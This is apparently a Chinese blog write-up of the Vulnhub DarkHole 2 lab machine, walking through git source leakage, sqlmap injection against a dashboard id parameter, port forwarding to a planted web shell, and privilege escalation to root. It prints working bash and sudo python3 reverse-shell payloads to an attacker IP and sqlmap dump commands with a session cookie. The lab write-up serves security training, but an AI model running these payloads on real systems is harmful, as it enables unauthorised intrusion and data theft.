Vulnhub实战-Dockhole_2靶机👻
Vulnhub实战-Dockhole_2靶机
靶机地址:https://www.vulnhub.com/entry/darkhole-2,740/
1.描述
hint:让我们不要浪费时间在蛮力上面!
2.主机发现,端口扫描
- 主机发现
在kali上面扫描本地网段,发现主机IP192.168.33.88
nmap -sn 192.168.33.0/24
- 端口扫描
在kali中输入以下命令
nmap -sS -p- -v 192.168.33.88
我们发现开启了22,80端口,说明开启了ssh跟web服务,还记得提示嘛,让我们不要用蛮力噢。所有这里我不打算暴力破解ssh账号密码,直接看看web服务有什么线索吧。
3.web服务测试
- 访问ip192.168.33.88,得到如下页面:
分析页面有什么功能点,发现存在一个login页面如下:
查看页面源代码也没有发现什么有用的信息,试试目录扫描吧。
- 目录扫描
打开kali进入dirsearch进行目录扫描
python3 dirsearch.py -u 'http://192.168.33.88' -i 200
我们看到一堆git目录,说明存在git源码泄露,但是除了我们知道的index.php,login.php之外还出现了一个dashboard.php这个目录,我们打开看看发现不允许访问,应该做了权限验证。所有先从git源码泄露下手吧。
- git源码下载
从上面我们看到这个页面存在git源码泄露,页面如下:
方法一:我们利用Githacker这个工具,将它下载到本地看看。(这里提示一下,网上很多博客说的是用Githack这个工具,但是这个工具我试了,并没有把代码完整的克隆下来,Githack只是恢复源码的最新版本,而Githacker可以将开发者的提交历史一起克隆下来并在本地重建。)
具体区别可以参考如下:https://blog.csdn.net/qq_37450949/article/details/117821102
方法二:我们也可以用wget -r
这个命令递归下载源码下来重建,也可以下载完全。
命令如下:
wget -r http://192.168.33.88/.git/
接下来在kali中输入命令下载代码到本地:
githacker --url http://192.168.33.88/.git/ --folder output
意思是把源码下载到当前目录output文件夹
然后我们可以查看login.php的源码,可以看到登陆处的代码逻辑
接下来我们看看 git 历史日志,发现存在修改记录,第二个那里作者添加了默认凭据
git log
我们切换过去看看git checkout a4d900a8d85e89
切换历史版本之后我们再次打开login.php发现了默认的用户名密码
拿上用户名密码登录之后看到如下页面:
- sql注入
我们查看了一下源码,发现没什么可利用的,最后在url处发现有个id,我们猜测这里存在SQL注入,这里比较懒,就不用手工注入了,直接上sqlmap跑一下。
sqlmap -u "http://192.168.33.88/dashboard.php?id=1" --cookie='PHPSESSID=skffj4ijtoik6o0qpulteqboqd' --current-db //爆数据库
sqlmap -u "http://192.168.33.88/dashboard.php?id=1" --cookie='PHPSESSID=skffj4ijtoik6o0qpulteqboqd' -D darkhole_2 --tables //爆表
sqlmap -u "http://192.168.33.88/dashboard.php?id=1" --cookie='PHPSESSID=skffj4ijtoik6o0qpulteqboqd' -D darkhole_2 -T ssh --dump //爆内容
我们可以看到数据库"dockhole_2",表有两个"ssh,users",看了一下users表,发现没有什么重要信息,在ssh表里面发现了一个账号密码,我们可以拿来连接ssh。
4.提权
拿到用户名密码之后我们登录ssh:
进来之后我们看看是否存在具有suid权限的文件,发现不存在具有suid权限的文件。
find / -perm -u=s -type f 2>/dev/null
我们再看看是否具有root权限能执行的命令,发现也没有
sudo -l
完了,没路了。不会走了。看看其他大佬博客他们接下来是去查看linux的定时任务文件
cat /etc/crontab
发现有一个用户losy开启了本地的9999端口,至于php -s是开启了一个网络服务器的意思。
我们尝试去访问9999端口,发现连接失败,那么我们就把靶机的9999端口转发到本地来访问。
ssh -L 9999:127.0.0.1:9999 jehad@192.168.33.88
然后我们在浏览器访问127.0.0.1:9999就可以访问了,我们可以看到它是让我们以GET的方式输入一个cmd参数。噢对了,刚刚还有一个目录我们看看里面是什么。里面是一个一句话木马,那就对上了。
接下来我们通过cmd参数反弹一个shell,kali监听10086端口连接。
nc -lnvp 10086
payload:bash -c 'sh -i >& /dev/tcp/192.168.33.213/10086 0>&1'
因为是通过GET方式执行paylaod,所以我们要先进行url编码:
%62%61%73%68%20%2d%63%20%27%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%39%32%2e%31%36%38%2e%33%33%2e%32%31%33%2f%31%30%30%38%36%20%30%3e%26%31%27
发送请求之后我们就连上shell了,我们可以看到用户是losy
我们在losy的历史命令中看到了设置的密码:gang
接着我们通过ssh连接上losy,看到losy能以root权限执行python3命令,所以我们自然就能想到反弹一个python3的反弹shell!
ssh losy@192.168.33.88
sudo -l
sudo python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.33.213",10086));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/sh")'
我们的kali监听10086,可以看到反弹shell已经连上了,看看权限是root权限,然后在/root文件夹下面找到了root.txt,flag就在里面!
到这里我们就结束了,成功提权到root权限了!通过干vulnhub,一天一个提权小技巧!
Vulnhub实战-Dockhole_2靶机👻的更多相关文章
- Vulnhub实战-JIS-CTF_VulnUpload靶机👻
Vulnhub实战-JIS-CTF_VulnUpload靶机 下载地址:http://www.vulnhub.com/entry/jis-ctf-vulnupload,228/ 你可以从上面地址获取靶 ...
- Vulnhub实战-doubletrouble靶机👻
Vulnhub实战-doubletrouble靶机 靶机下载地址:https://www.vulnhub.com/entry/doubletrouble-1,743/ 下载页面的ova格式文件导入vm ...
- Vulnhub实战-DockHole_1靶机👻
Vulnhub实战-DockHole_1靶机 靶机地址:https://www.vulnhub.com/entry/darkhole-1,724/ 1.描述 我们下载下来这个靶机然后在vmware中打 ...
- Vulnhub实战-grotesque3靶机👻
Vulnhub实战-grotesque3靶机 靶机地址:http://www.vulnhub.com/entry/grotesque-301,723/ 1.靶机描述 2.主机探测,端口扫描 我们在vm ...
- Vulnhub实战-FALL靶机👻
Vulnhub实战-FULL靶机 下载地址:http://www.vulnhub.com/entry/digitalworldlocal-fall,726/ 1.描述 通过描述我们可以知道这个靶机枚举 ...
- Vulnhub实战-rtemis靶机👻
Vulnhub实战-rtemis靶机 下载地址:http://www.vulnhub.com/entry/r-temis-1,649/ 描述 通过描述我们知道这个靶机有两个flag 主机发现 通过nm ...
- Vulnhub实战-dr4g0n b4ll靶机👻
Vulnhub实战-dr4g0n b4ll靶机 地址:http://www.vulnhub.com/entry/dr4g0n-b4ll-1,646/ 描述:这篇其实没有什么新奇的技巧,用到的提权方式就 ...
- 【Vulnhub】DC-2靶机
Vulnhub DC-2 靶机 信息搜集 访问web端发现访问不了,可以观察到相应的URL为域名而不是IP,需要在hosts文件种添加一条DNS记录. host位置:C:\Windows\System ...
- 3. 文件上传靶机实战(附靶机跟writeup)
upload-labs 一个帮你总结所有类型的上传漏洞的靶场 文件上传靶机下载地址:https://github.com/c0ny1/upload-labs 运行环境 操作系统:推荐windows ...
随机推荐
- VMware 部署虚拟环境
2021-08-23 1. 版本介绍 本地主机操作系统:windows 10虚拟软件版本:VMware workstation 14centos镜像版本:centos 7.5 2. 设置 2.1 基础 ...
- WAMP 2.5 无法访问局域网的解决方法
打开Apache配置文件 httpd.conf (该文件在wamp\bin\apache\apache2.4.9\conf) DocumentRoot "d:/wamp/www/" ...
- JavaWeb使用Filter进行字符编码过滤 预防web服务中文乱码
JavaWeb使用Filter进行字符编码过滤 预防web服务中文乱码 准备条件:一个创建好的 JavaWeb 项目 步骤: 1.创建一个类并实现 Filter 接口 import javax.ser ...
- JavaScript之创建对象的模式
使用Object的构造函数可以创建对象或者使用对象字面量来创建单个对象,但是这些方法有一个明显的缺点:使用相同的一个接口创建很多对象,会产生大量的重复代码. (一)工厂模式 这种模式抽象了创建具体对象 ...
- C语言中动态内存分配的本质是什么?
摘要:C语言中比较重要的就是指针,它可以用来链表操作,谈到链表,很多时候为此分配内存采用动态分配而不是静态分配. 本文分享自华为云社区<[云驻共创]C语言中动态内存分配的本质>,作者: G ...
- [源码解析] 深度学习流水线并行 PipeDream(4)--- 运行时引擎
[源码解析] 深度学习流水线并行 PipeDream(4)--- 运行时引擎 目录 [源码解析] 深度学习流水线并行 PipeDream(4)--- 运行时引擎 0x00 摘要 0x01 前言 1.1 ...
- Gitlab(1)- 简单介绍
什么是 Gitlab 一个开源分布式版本控制系统 开发语言:Ruby 功能:管理项目源代码.版本控制.代码复用与查找.权限管控 Git 家族成员 Git:是一种版本控制系统,是一个命令,是一种工具 G ...
- Docker 安装 MySQL5.6
方法一.docker pull mysql查找Docker Hub上的mysql镜像 #docker search mysql 这里我们拉取官方的镜像,标签为5.6 #docker pull mysq ...
- Java环境搭建与HelloWprld—改变世界的第一步
1. JDK下载 访问oracle官网:http://www.oracle.com 在首页点击Downloads,进入oracle软件下载页. 在下载页面,点击Java. 选择Java (JDK) f ...
- python 爬虫新手入门教程
python 爬虫新手教程 一.什么是爬虫 爬虫就是把一个网站里的内容读取下来 这里我们就要学习一个知识 我们看到的网页是有一种叫HTML的语言编写的 他可以给文字显示不同的样式 如:<p> ...